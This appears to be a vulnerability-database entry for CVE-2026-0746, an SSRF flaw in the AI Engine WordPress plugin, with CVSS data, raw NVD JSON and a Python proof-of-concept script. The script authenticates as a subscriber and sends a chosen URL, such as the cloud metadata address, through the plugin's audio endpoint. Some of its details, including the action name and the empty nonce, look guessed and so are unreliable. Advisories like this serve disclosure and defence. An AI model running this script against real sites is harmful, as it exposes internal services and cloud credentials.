Security Vulnerability Report
中文
CVE-2026-0746 CVSS 6.4 MEDIUM

CVE-2026-0746

Published: 2026-01-27 19:16:13
Last Modified: 2026-04-15 00:35:42

Description

The AI Engine plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 3.3.2 via the 'get_audio' function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services, if "Public API" is enabled in the plugin settings, and 'allow_url_fopen' is set to 'On' on the server.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

AI Engine plugin for WordPress <= 3.3.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2026-0746 PoC - WordPress AI Engine SSRF # Target: WordPress site with AI Engine plugin <= 3.3.2 def exploit_ssrf(target_url, attacker_controlled_url): """ Exploit SSRF vulnerability in AI Engine plugin's get_audio function Args: target_url: Target WordPress site URL attacker_controlled_url: URL controlled by attacker to receive SSRF requests """ # WordPress login to get authentication cookie login_url = f"{target_url}/wp-login.php" login_data = { 'log': 'subscriber_user', # Subscriber-level account 'pwd': 'subscriber_password', 'wp-submit': 'Log In', 'redirect_to': target_url } session = requests.Session() login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful as subscriber") # Exploit SSRF via get_audio function exploit_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'ai_engine_get_audio', # Plugin AJAX action 'audio_url': attacker_controlled_url, # SSRF payload 'nonce': '' # May need valid nonce if available } response = session.post(exploit_url, data=exploit_data) if response.status_code == 200: print(f"[+] SSRF request sent to: {attacker_controlled_url}") print(f"[+] Response: {response.text[:200]}") return True return False if __name__ == '__main__': if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <ssrf_url>") print("Example: python exploit.py http://victim.com http://169.254.169.254/latest/meta-data/") sys.exit(1) target = sys.argv[1] ssrf_target = sys.argv[2] exploit_ssrf(target, ssrf_target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0746", "sourceIdentifier": "[email protected]", "published": "2026-01-27T19:16:13.460", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The AI Engine plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 3.3.2 via the 'get_audio' function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services, if \"Public API\" is enabled in the plugin settings, and 'allow_url_fopen' is set to 'On' on the server."}, {"lang": "es", "value": "El plugin AI Engine para WordPress es vulnerable a falsificación de petición del lado del servidor en todas las versiones hasta la 3.3.2, inclusive, a través de la función 'get_audio'. Esto hace posible que atacantes autenticados, con acceso de nivel Suscriptor y superior, realicen peticiones web a ubicaciones arbitrarias originadas desde la aplicación web y puede usarse para consultar y modificar información de servicios internos, si la 'API Pública' está habilitada en la configuración del plugin, y 'allow_url_fopen' está configurado en 'On' en el servidor."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/ai-engine/tags/3.3.1/classes/engines/chatml.php#L946", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3447500/ai-engine/trunk/classes/engines/chatml.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/cbba866d-93dd-4ef5-9670-ab958f61f06e?source=cve", "source": "[email protected]"}]}}